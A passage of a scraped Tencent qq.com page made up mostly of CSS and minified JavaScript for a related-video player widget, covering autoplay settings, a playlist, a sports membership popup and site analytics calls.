.rv-cf:before{content:\" \";display:table}.rv-root-v2 .rv-cf:after{clear:both}.rv-root-v2 .rv-cf{*zoom:1}.rv-root-v2 .rv-top{height:40px;line-height:40px;background-color:#f3f3f3}.rv-root-v2 .rv-top .rv-fold-btn{float:right;padding-left:20px;margin-right:16px;font-size:14px;background-image:url(http://mat1.gtimg.com/news/dc/images/fold.png);background-position:left center;background-repeat:no-repeat}.rv-root-v2 .rv-top .rv-autoplay{float:right;width:110px;margin-right:16px}.rv-root-v2 .rv-top .rv-autoplay span{font-size:14px;float:right}.rv-root-v2 .rv-top .rv-autoplay a{float:right;display:block;width:32px;height:18px;padding:2px;margin-top:10px;margin-left:12px;border-radius:10px;font-size:0;text-indent:-9999px;cursor:pointer;background-color:#CCC;transition:background .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a i{display:block;width:18px;height:18px;border-radius:50%;background-color:#fff;margin-left:0;box-shadow:1px 1px 3px rgba(0,0,0,.6);transition:all .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a:hover{background-color:#d9d9d9}.rv-root-v2 .rv-top .rv-autoplay a.enabled{background-color:#006cb7}.rv-root-v2 .rv-top .rv-autoplay a.enabled i{margin-left:14px}.rv-root-v2 .rv-top .rv-autoplay a.enabled:hover{background-color:#007bd1}.rv-root-v2 .rv-top .rv-autoplay a:active i{box-shadow:none}.rv-root-v2 .rv-top .rv-title{overflow:hidden}.rv-root-v2 .rv-top .rv-title a{display:block;font-size:18px;font-weight:400;text-indent:12px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;color:#000}.rv-root-v2 .rv-top .rv-title a:hover{color:#cd0000;text-decoration:underline}.rv-root-v2 .rv-middle .rv-player{position:relative;min-height:360px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#000;box-shadow:inset 0 0 20px rgba(0,0,0,.6)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod{position:relative;width:100%;height:100%}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .rv-player-loading{width:100%;height:100%;text-align:center;color:#999;font-family:verdana,arial,sans-serif}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .tvp_titles{display:none}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl{display:none;position:absolute;right:0;z-index:99;bottom:18px;width:30px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{display:block;margin-top:3px;width:30px;height:30px;line-height:30px;background-color:#000;background-color:rgba(0,0,0,.6);background-image:url(http://mat1.gtimg.com/news/dc/images/rv_mini_sprites_v2.png);background-repeat:no-repeat;text-align:center}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize:hover{color:#FFF;background-color:#000;background-color:rgba(0,0,0,.9)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-off{background-position:0 -150px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-on{background-position:0 -180px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close{background-position:0 0}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{background-position:0 -30px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini{position:fixed;width:270px;height:170px;left:0;bottom:0;top:auto;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.3)}.rv-root-v2 .rv-middle .rv-player .rv-player-mini .rv-player-mini-ctrl{display:block}@media only screen and (min-width:1300px){.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-sp1{left:50%;margin-left:-692px}}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big{width:640px;height:378px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big .rv-player-mini-ctrl-resize{background-position:0 -60px}.rv-root-v2 .rv-middle .rv-playlist{height:100px;background-color:#2f2f2f}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl{position:relative;width:100%;height:0;z-index:2}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a{display:block;position:absolute;top:0;width:17px;height:100px;line-height:100px;font-size:14px;font-weight:700;font-family:NanumMyeongjo,\"\\5B8B\\4F53\",sans-serif;text-align:center;color:#a3a3a3;background-color:#2f2f2f;background-color:rgba(47,47,47,.8);cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a:hover{background-color:#494949;background-color:rgba(73,73,73,.8)}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled{cursor:not-allowed;color:#505050}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled:hover{background-color:#2f2f2f;background-color:rgba(47,47,47,.8);box-shadow:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .prev{left:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .next{right:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap{height:100px;width:100%;overflow:hidden;position:relative;z-index:1}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller{height:130px;width:100%;overflow-y:hidden;overflow-x:scroll;-webkit-overflow-scrolling:touch}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list{width:9999px;padding:0 17px;list-style:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li{display:block;float:left}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a{display:block;position:relative;width:160px;height:90px;padding:5px;cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a img{width:100%;height:100%;opacity:0;transition:opacity .3s ease-out;vertical-align:top}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div{position:absolute;width:100%;left:0;bottom:0;font-size:12px;line-height:18px}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span{display:block;height:18px;margin:5px;padding:5px 10px 2px;overflow:hidden;font-family:Arial,sans-serif;color:#ababab;background-color:rgba(0,0,0,.8);-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\')\";filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\');-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span:not([dummy]){filter:progid:DXImageTransform.Microsoft.Gradient(enabled=\'false\')}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current{background:#101010}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current div span{color:#ff6d1a}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover{background:#252525}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover div span{height:36px}@media only screen and (min-width:1260px){.rv-adjust-wide-article{width:895px;margin-left:-97px}}#sports_video_mask{position:fixed;top:0;left:0;background:#000;opacity:.5;z-index:100;filter:alpha(opacity=50)}#sports_video_Vip{width:560px;height:320px;overflow:hidden;box-shadow:0 0 10px #fff;position:fixed;z-index:101;background:rgba(0,0,0,.8);filter:progid:DXImageTransform.Microsoft.gradient(startcolorstr=#CF000000, 0, endcolorstr=#CF000000, 0)}#sports_video_Vip #sports_video_Vip_close{position:absolute;padding:10px;top:0;right:0;color:#fff;cursor:pointer;font-size:16px}#sports_video_Vip .sports_video_code{position:absolute;width:114px;padding-top:124px;text-align:center;background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportVip2code.png) no-repeat;top:88px;right:40px}#sports_video_Vip .sports_video_content{color:#b6b6b6;width:320px;margin-left:50px;line-height:1.5;font-size:13px;top:48px;border-right:2px dashed #5d5d5d;position:relative}</style>\n</p><span>\n</span><script>!function t(i,e,o){function n(a,l){if(!e[a]){if(!i[a]){var s=\"function\"==typeof require&&require;if(!l&&s)return s(a,!0);if(r)return r(a,!0);throw new Error(\"Cannot find module \'\"+a+\"\'\")}var c=e[a]={exports:{}};i[a][0].call(c.exports,function(t){var e=i[a][1][t];return n(e?e:t)},c,c.exports,t,i,e,o)}return e[a].exports}for(var r=\"function\"==typeof require&&require,a=0;a<o.length;a++)n(o[a]);return n}({1:[function(t,i,e){function o(t){var i=!1,e=s.get();if(!0===r.playingGlobalSign.isAnyonePlaying()||\"0\"===e)return t(!1);if(\"1\"===e)return t(!0);if(l){var o=(new Date).getTime();l.get(n.autoplay_cookie.key,function(e,a){if(!i){if(i=!0,r.debug_log(\"get localstorage from http://www.qq.com/public/final12/localStorageqq.htm differTime\",(new Date).getTime()-o+\"ms\",a),!e&&a){var l=JSON.parse(a);if(\"1\"===l.val)return void t(!0);var s=(new Date).getTime()-l.time,c=s/864e5;return r.debug_log(\"set \"+c.toFixed(2)+\"days\"),c<n.autoplay_cookie.expires?void t(!1):void t(!0)}t(!0)}}),setTimeout(function(){i||(t(!0),i=!0,r.debug_log(\"timeout cross localstorage 400ms\"))},800)}else t(!0),r.debug_log(\"no cross and default true\")}var n=t(\"./config\"),r=t(\"./tools\"),a=r.cookie,l=t(\"./crossLocalStorage\"),s={_config:n.autoplay_cookie,_set:function(t){if(a.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path}),window.JSON){var i={time:(new Date).getTime(),val:t};l&&l.set(this._config.key,i,function(){})}},get:function(){var t=a.get(this._config.key);return t},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};i.exports={getAutoPlay:o,autoPlaySign:s}},{\"./config\":2,\"./crossLocalStorage\":3,\"./tools\":9}],2:[function(t,i,e){var o={};o.modName=\"dc_related_video\",o.autoplay_cookie={key:\"aboutVideo_v\",domain:\".qq.com\",path:\"/\",expires:30},o.playing_cookie={key:\"dc_vplaying\",domain:\".qq.com\",path:\"/\",expires:function(){return new Date((new Date).getTime()+72e5)}},o.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1},o.qqcomstore=null,o.videos=[],o.automute=!1,window.txPlayer_config=o,i.exports=o},{}],3:[function(t,i,e){document.domain=\"qq.com\";var o;o=function(t){this.id=this._getId(),this._init(t),this._origin=this._getOrigin(t),this._callbacks={_get:{},_set:{},_del:{}},this._bindEvent()},o.prototype._getId=function(){return id=0,function(){return++id}}(),o.prototype._init=function(t){var i=this,e=document.createElement(\"iframe\");e.style.display=\"none\",e.src=t,document.body.appendChild(e),this._hub=e.contentWindow,e.onload=function(){i.load()}},o.prototype.load=function(){},o.prototype._getOrigin=function(t){var i,e;return i=document.createElement(\"a\"),i.href=t,e=i.protocol+\"//\"+i.host},o.prototype._parseMessage=function(t,i,e){return JSON.stringify({method:t,key:i,value:e})},o.prototype._bindEvent=function(){var t=this;window.addEventListener?window.addEventListener(\"message\",function(i){var e=JSON.parse(i.data),o=e.error,n=e.result&&JSON.parse(e.result)||null;t._callbacks[\"_\"+e.method][e.key](o,n)},!1):\"\"},o.prototype.get=function(t,i){this._hub.postMessage(this._parseMessage(\"get\",t),this._origin),this._callbacks._get[t]=i},o.prototype.set=function(t,i,e){this._hub.postMessage(this._parseMessage(\"set\",t,i),this._origin),this._callbacks._set[t]=e},o.prototype.del=function(t,i){this._hub.postMessage(this._parseMessage(\"del\",t),this._origin),this._callbacks._del[t]=i};var n;n=window.addEventListener&&window.localStorage&&window.JSON?new o(\"http://www.qq.com/public/final12/localStorageqq.htm\"):null,i.exports=n},{}],4:[function(t,i,e){var o=t(\"./config\"),n=t(\"./tools\"),r=window.related_video_info,a=t(\"./inview\"),l=t(\"./autoPlay\");n.loadJquery(function(i){n.debug_log(\"jquery ready\"),a.init(function(){n.debug_log(\"video inview ready init\");var e=t(\"./ui\");i.getScript(\"http://vm.gtimg.cn/tencentvideo/txp/js/txplayer.js\").done(function(){function a(a){if(!s){s=1,e.autoPlaySW.setStatus(a),e.autoPlaySW.bind(function(t){l.autoPlaySign[t?\"on\":\"off\"](),t?d.play():-1===d.getPlayerState()?d.stop():d.pause()});var c=t(\"./play\"),d=c(r,a);d.on(\"ready\",function(){window.v_nomini||e.scrollPlay.init(d,o)}),d.on(\"playStateChange\",function(t){1==t.state&&i(window).trigger(\"video:pause\",o.modName),t.state>0?n.playingGlobalSign.on():n.playingGlobalSign.off()}),i(window).on(\"video:pause\",function(t,i){n.debug_log(\"\\u6682\\u505c\\u8bf7\\u6c42\\u6765\\u81ea\\uff1a \",i),i!==o.modName&&(-1===d.getPlayerState()?d.stop():d.pause())});var u=t(\"./getVideoList\");u(r,d);var p=t(\"./sportVip\");p.sportVip(d),d.on(\"showUIVipGuide\",function(t){n.debug_log(t),p.pop(d,\"1080p\")})}}n.debug_log(\"txplayer.js ready\",r);var s=0;try{l.getAutoPlay(a)}catch(c){n.debug_log(c),a(!0)}})})})},{\"./autoPlay\":1,\"./config\":2,\"./getVideoList\":5,\"./inview\":6,\"./play\":7,\"./sportVip\":8,\"./tools\":9,\"./ui\":10}],5:[function(t,i,e){function o(t,i){n=i;var e=function(i){d(t,i)};t.cid&&\"null\"!==t.cid?r.getVideoListByCoverId(t.cid,e):(r.debug_log(\"getLikeVideoList\",c.qq),r.getLikeVideoList(c.qq,t.vid,e))}var n,r=t(\"./tools\"),a=t(\"./ui\"),l=t(\"./play\"),s=t(\"./inview\"),c={qq:r.cookie.get(\"o_cookie\")||null},d=function(t,i){r.debug_log(\"videoList array\",i),i||a.playlist.hide();var e=[];e.push(t),$.each(i,function(i,o){o.vid!==t.vid&&e.push(o)});var o=\"\";$.each(e,function(t,i){i.title&&i.title.replace(/[^\\x00-\\xff]/gi,\"**\").length>40?i.stitle=r.cutstr2(i.title,40)+\"...\":i.stitle=i.title||\"\",o+=\"<li>\",o+=\" <a data-vid=\'\"+i.vid+\"\' data-idx=\'\"+t+\"\' href=\'\"+i.url+\"\' target=\'_self\' class=\'\"+(0===t?\"current\":\"\")+\"\' bosszone=\'rvideo_list_title\'>\",o+=\" <img src=\'\"+i.pic+\"\' onload=\'this.onload=null;this.style.opacity=1;\' />\",o+=\" <div>\",o+=\" <span>\"+i.stitle+\"</span>\",o+=\" </div>\",o+=\" </a>\",o+=\"</li>\"}),a.dom.$playlist_list.html(o),a.playlist.init();var c=function(t){if(t){var i,o;return $.each(e,function(e,n){return n.vid===t?(i=n,o=e,!1):void 0}),i&&(i.idx=o),i}},d=function(t){0>t||t>e.length-1||(l(e[t]),a.playlist.setCurrentToIdx(t),a.playlist.scrollToItemIdx(t))};a.dom.$playlist_list.on(\"click\",\"a[data-vid]\",function(t){t.preventDefault();var i=$(this).attr(\"data-vid\"),e=c(i);d(e.idx),r.trace.boss2619(\"user_click\",i)}),n.on(\"playStateChange\",function(t){if(0==t.state){var i=n.getVid(),o=c(i),a=o.idx+1,l=s.inview();r.debug_log(\"\\u64ad\\u653e\\u5668\\u662f\\u5426\\u53ef\\u89c1\",l),a<e.length&&l&&(r.debug_log(\"event: \\u64ad\\u653e\\u4e0b\\u4e00\\u4e2a\"),d(a),r.trace.boss2619(\"auto_next\",i))}})};i.exports=o},{\"./inview\":6,\"./play\":7,\"./tools\":9,\"./ui\":10}],6:[function(t,i,e){function o(){var t=$(window).scrollTop(),i=$(\".rv-root-v2\").offset().top,e=$(window).height();return t+e-70>=i&&i+518>t}var n=function(t){function i(){o()&&!e&&(t(),e=!0)}var e=!1;i(),$(window).scroll(function(t){i()})};i.exports={init:n,inview:o}},{}],7:[function(t,i,e){function o(t,i){var e=\"tvp-mod-player-\"+t.vid;if(r.setPlayerModId(e),r.setTitle(t.title,t.url),n)n.play({vid:t.vid});else{var t={useFlashVIPLayer:0,vid:t.vid,containerId:e,width:\"100%\",height:\"100%\",flashplayerUrl:\"http://imgcache.qq.com/tencentvideo_v1/playerv3/TencentPlayer.swf?max_age=86400&v=20161117\",autoplay:i};window.ARTICLE_INFO&&\"sports\"===window.ARTICLE_INFO.site&&(t.useFlashVIPLayer=-1,t.chid=8,t.authfrom=\"<PASSWORD>\",t.getUserType=function(){return window.login&&login.sportVip?10:window.login&&login.isLogin()?1:0},t.showOpenVIPGuide=function(){console.log(\"showOpenVIPGuide\"),\"function\"==typeof window.__tenplay_skipad&&window.__tenplay_skipad()}),n=new Txplayer(t)}return n}var n,r=t(\"./ui\");t(\"./config\");i.exports=o},{\"./config\":2,\"./ui\":10}],8:[function(t,i,e){function o(t){window.ARTICLE_INFO&&\"sports\"==window.ARTICLE_INFO.site&&(window.__tenplay_skipad=function(){return n(t,\"ad\"),1})}function n(t,i){var e=function(){var t=$(window).width(),i=$(window).height(),e=(t-560)/2,o=(i-320)/2;o=o>0?o:0,$(\"#sports_video_Vip\").css({left:e,top:o}),$(\"#sports_video_mask\").css({width:t,height:i})};if(0==$(\"#sports_video_Vip\").size()){var o=\"<div id=\'sports_video_mask\'></div>\",n=\"<div id=\'sports_video_Vip\'></div>\",r=\"<div id=\'sports_video_Vip_close\'>\\u2715</div><div class=\'sports_video_content\'><div style=\'color:#fff;font-size: 18px;margin-bottom: 30px;\'><b>\\u672c\\u7279\\u6743\\u4e3a\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u4e13\\u4eab</b></div><a href=\'http://vip.sports.qq.com/\' target=\'_blank\' style=\'background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportvip.png);display: block;width:221px;height: 43px;\'></a><div style=\'margin: 30px 0 5px;font-size: 15px;\'>\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u7279\\u6743</div><li>NBA\\u3001NHL\\u7b49\\u8d5b\\u4e8b\\u72ec\\u5bb6\\u76f4\\u64ad</li><li>\\u4eab\\u53d7\\u514d\\u5e7f\\u544a\\u3001\\u84dd\\u5149\\u753b\\u8d28\\u3001\\u82f1\\u6587\\u539f\\u97f3</li><li>\\u70b9\\u51fb\\u201c\\u5f00\\u901a\\u201d\\u4e86\\u89e3\\u66f4\\u591a\\u7279\\u6743\\uff0c\\u5f00\\u901a\\u540e\\u8bf7\\u5237\\u65b0\\u672c\\u9875</li></div><div class=\'sports_video_code\'><div style=\'color:#fff;font-size: 12px;\'>\\u626b\\u4e00\\u626b\\u5f00\\u901a\\u4f53\\u80b2\\u4f1a\\u5458</div></div></div>\"+$(\"body\").append(o).append(n);$(\"#sports_video_Vip\").html(r),e(),$(window).resize(e)}$(\"#sports_video_mask,#sports_video_Vip_close\").click(function(){\"ad\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"closeSkipAd\"}),\"1080p\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"close1080p\"}),$(\"#sports_video_mask,#sports_video_Vip\").hide(),$(\"#sports_video_mask,#sports_video_Vip_close\").unbind(\"click\")}),$(\"#sports_video_mask,#sports_video_Vip\").show()}i.exports={sportVip:o,pop:n}},{}],9:[function(t,i,e){var o=t(\"./config\"),n=function(t,i){var e=document.head||document.getElementsByTagName(\"head\")[0]||document.documentElement,o=document.createElement(\"script\"),n=!1;o.async=!0,o.src=t,o.onload=o.onreadystatechange=function(){n||o.readyState&&!/loaded|complete/.test(o.readyState)||(n=!0,o.onload=o.onreadystatechange=null,o.parentNode&&o.parentNode.removeChild(o),o=null,\"function\"==typeof i&&i())},e.insertBefore(o,e.firstChild)},r=function(t){window.jQuery?t(window.jQuery):n(\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\",function(){t(window.jQuery)})},a=function(){var t=function(){return t.get.apply(t,arguments)},i=t.utils={isArray:Array.isArray||function(t){return\"[object Array]\"===Object.prototype.toString.call(t)},isPlainObject:function(t){return!!t&&\"[object Object]\"===Object.prototype.toString.call(t)},toArray:function(t){return Array.prototype.slice.call(t)},getKeys:Object.keys||function(t){var i=[],e=\"\";for(e in t)t.hasOwnProperty(e)&&i.push(e);return i},escape:function(t){return String(t).replace(/[,;\"\\\\=\\s%]/g,function(t){return encodeURIComponent(t)})},retrieve:function(t,i){return null===t?i:t}};return t.defaults={},t.expiresMultiplier=86400,t.set=function(t,e,o){if(i.isPlainObject(t))for(var n in t)t.hasOwnProperty(n)&&this.set(n,t[n],e);else{o=i.isPlainObject(o)?o:{expires:o};var r=void 0!==o.expires?o.expires:this.defaults.expires||\"\",a=typeof r;\"string\"===a&&\"\"!==r?r=new Date(r):\"number\"===a&&(r=new Date(+new Date+1e3*this.expiresMultiplier*r)),\"\"!==r&&\"toGMTString\"in r&&(r=\";expires=\"+r.toGMTString());var l=o.path||this.defaults.path;l=l?\";path=\"+l:\"\";var s=o.domain||this.defaults.domain;s=s?\";domain=\"+s:\"\";var c=o.secure||this.defaults.secure?\";secure\":\"\";document.cookie=i.escape(t)+\"=\"+i.escape(e)+r+l+s+c}return this},t.remove=function(t){t=i.isArray(t)?t:i.toArray(arguments);for(var e=0,o=t.length;o>e;e++)this.set(t[e],\"\",-1);return this},t.empty=function(){return this.remove(i.getKeys(this.all()))},t.get=function(t,e){e=e||void 0;var o=this.all();if(i.isArray(t)){for(var n={},r=0,a=t.length;a>r;r++){var l=t[r];n[l]=i.retrieve(o[l],e)}return n}return i.retrieve(o[t],e)},t.all=function(){if(\"\"===document.cookie)return{};for(var t=document.cookie.split(\"; \"),i={},e=0,o=t.length;o>e;e++){var n,r,a=t[e].split(\"=\");try{n=decodeURIComponent(a[0])}catch(l){n=a[0]}try{r=decodeURIComponent(a[1])}catch(l){r=a[1]}i[n]=r}return i},t.enabled=function(){if(navigator.cookieEnabled)return!0;var i=\"_\"===t.set(\"_\",\"_\").get(\"_\");return t.remove(\"_\"),i},t}(),l=function(t,i){for(var e=0,o=\"\",n=0;n<t.length;n++)if(t.charCodeAt(n)>128?e+=2:e++,o+=t.charAt(n),e>=i)return o;return o},s=function(t,i){var e,o,n,r,a,l,s=c(function(){a=r=!1},i);return function(){e=this,o=arguments;var c=function(){n=null,a&&(l=t.apply(e,o)),s()};return n||(n=setTimeout(c,i)),r?a=!0:(r=!0,l=t.apply(e,o)),s(),l}},c=function(t,i,e){var o,n;return function(){var r=this,a=arguments,l=function(){o=null,e||(n=t.apply(r,a))},s=e&&!o;return clearTimeout(o),o=setTimeout(l,i),s&&(n=t.apply(r,a)),n}},d=function(){if(-1!==location.search.indexOf(\"debugv\")&&window.console){var t=Array.prototype.slice.call(arguments);t.unshift(\"[related_video_log]\"),console.log(t)}},u=function(t,i){return i=i||$.noop,\"string\"!=typeof t?void i(null):void $.ajax({method:\"GET\",url:\"http://data.video.qq.com/fcgi-bin/data\",data:{tid:\"25\",idlist:t,appid:\"10001009\",appkey:\"c5a3e1529a7ba805\",otype:\"json\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errorno)return void i(null);var e=[],o=t.results[0].fields,n=o.c_vids||o.c_vclips||[];$.each(n,function(t,i){e.push({vid:i.c_vid,title:i.c_title,pic:i.c_pic_160_90,url:i.c_play_url})}),i(e)}).fail(function(){i(null)})},p=function(t,i,e){return e=e||$.noop,i?(t=t||\"\",void $.ajax({method:\"GET\",url:\"http://like.video.qq.com/fcgi-bin/like\",data:{msgtype:\"122\",uin:t,id:i,playright:\"2\",pidx:\"0\",size:\"11\",otype:\"json\",tablist:\"9\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errmsg||!t.tablist)return void e(null);var i=[];$.each(t.tablist[0].cover_info,function(t,e){i.push({vid:e.id,title:e.title,pic:e.picurl,url:e.playurl})}),e(i)}).fail(function(){e(null)})):void e(null)},f={on:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!0},off:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!1},isAnyonePlaying:function(){if(window.dc_playing_sign){for(var t in window.dc_playing_sign)if(t!==o.modName&&window.dc_playing_sign.hasOwnProperty(t)&&window.dc_playing_sign[t])return!0;return!1}return!1}},_={boss2619:function(t,i){var e=$.param({BossId:\"2619\",CheckSum:\"1312852225\",sIp:\"\",iQQ:a.get(\"o_cookie\")||\"\",sOp:t||\"\",sDomain:window.location.hostname||\"\",sUrl:window.location.href||\"\",sRef:window.document.referrer||\"\",vid:i||\"\",_dc:\"\"+Math.random()});(new Image).src=\"http://btrace.qq.com/kvcollect?\"+e}};i.exports={getScript:n,loadJquery:r,cookie:a,cutstr2:l,throttle:s,debounce:c,debug_log:d,getVideoListByCoverId:u,getLikeVideoList:p,playingGlobalSign:f,trace:_}},{\"./config\":2}],10:[function(t,i,e){var o=t(\"./tools\"),n=t(\"./config\"),n={};n.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1};var r={};r.$root=$(\".rv-js-root\"),r.$title=r.$root.find(\".rv-title a\"),r.$autoplay_sw=r.$root.find(\".rv-js-autoplay\"),r.$player_wrap=r.$root.find(\".rv-player-wrap\"),r.$player_mod=r.$player_wrap.find(\".rv-player-mod\"),r.$player_mini_ctrl=r.$player_wrap.find(\".rv-player-mini-ctrl\"),r.$playlist_node=r.$root.find(\".rv-playlist\"),r.$playlist_scol=r.$playlist_node.find(\".rv-playlist-scroller\"),r.$playlist_list=r.$playlist_node.find(\"ol.rv-playlist-list\"),r.$playlist_ctrl=r.$playlist_node.find(\".rv-playlist-ctrl a\"),r.$playlist_prev=r.$playlist_ctrl.filter(\".prev\"),r.$playlist_next=r.$playlist_ctrl.filter(\".next\");var a=function(){return{width:r.$player_mod.width(),height:r.$player_mod.height()}};e.setPlayerModId=function(t){r.$player_mod.attr(\"id\",t)},e.setTitle=function(t,i){return r.$title.html(t).attr(\"href\",i)};var l=function(){var t=\"enabled\",i=function(){r.$autoplay_sw.attr(\"bosszone\",function(){return o()?\"bofang_button_close\":\"bofang_button_open\"})},e=function(e){r.$autoplay_sw[e?\"addClass\":\"removeClass\"](t),i()},o=function(){return r.$autoplay_sw.hasClass(t)},n=function(e){var n=r.$autoplay_sw;n.on(\"click\",function(){n.toggleClass(t),\"function\"==typeof e&&e.call(null,o()),i()})};return{bind:n,setStatus:e,getStatus:o,updateBosszone:i}}();e.autoPlaySW=l;var s=function(){var t,i,e,n,a,l,s=function(){f(),r.$playlist_next.on(\"click\",function(){p(\"forward\")}),r.$playlist_prev.on(\"click\",function(){p(\"backward\")}),r.$playlist_scol.on(\"scroll\",o.throttle(function(){var i=r.$playlist_scol.scrollLeft(),e=\"disabled\";0===i||i===a||0>=a?(0===i&&r.$playlist_prev.addClass(e),(i===a||0>=a)&&r.$playlist_next.addClass(e)):r.$playlist_ctrl.removeClass(e),-1!==navigator.appVersion.indexOf(\"MSIE 7.\")&&t.css(\"visibility\",\"inherit\").css(\"visibility\",\"visible\")},50)),r.$playlist_scol.trigger(\"scroll\")},c=function(t){r.$playlist_scol.stop().animate({scrollLeft:parseInt(t,10)},500)},d=function(o){if(!(0>o||o>i-1)){var n=r.$playlist_scol;$item=t.filter(\":eq(\"+o+\")\"),c(n.scrollLeft()+$item.position().left-n.width()/2+e/2),l=o}},u=function(i){var e=\"current\";t.find(\"> a.\"+e).removeClass(e),t.filter(\":eq(\"+i+\")\").find(\"> a\").addClass(e)},p=function(t){var i,o=r.$playlist_scol,n=o.scrollLeft(),l=Math.round(.7*o.width());\"forward\"===t?i=n+l:\"backward\"===t&&(i=n-l),e>i?i=0:i>a-e&&(i=a),c(i)},f=function(){t=r.$playlist_list.find(\"> li\"),i=t.length,e=t.filter(\":eq(0)\").outerWidth(!0),n=r.$playlist_scol.width()/e,r.$playlist_list.css(\"width\",i*e),a=r.$playlist_list.outerWidth(!0)-r.$playlist_scol.width()};return{init:s,setCurrentToIdx:u,scrollToItemIdx:d,forward:function(){p(\"forward\")},backward:function(){p(\"backward\")},hide:function(){return r.$playlist_node.slideUp(300)},update:f}}();e.playlist=s;var c=function(){var t,i=!1,e=function(){var t={};t.top=r.$root.offset().top,t.btm=t.top+r.$root.height();var i={height:$(window).height(),scrollTop:$(window).scrollTop()},e=t.top>=i.scrollTop&&i.scrollTop+i.height>=t.top,o=t.btm>=i.scrollTop&&i.scrollTop+i.height>=t.btm,n=t.top<=i.scrollTop&&i.scrollTop+i.height<=t.btm;return!!(e||o||n)},l=function(){var t=$(\"#Main-Article-QQ\");if(t.length>0){var i=t.offset(),e=t.width();return 2*i.left+e===$(window).width()?e:!1}return!1},s=function(o){var 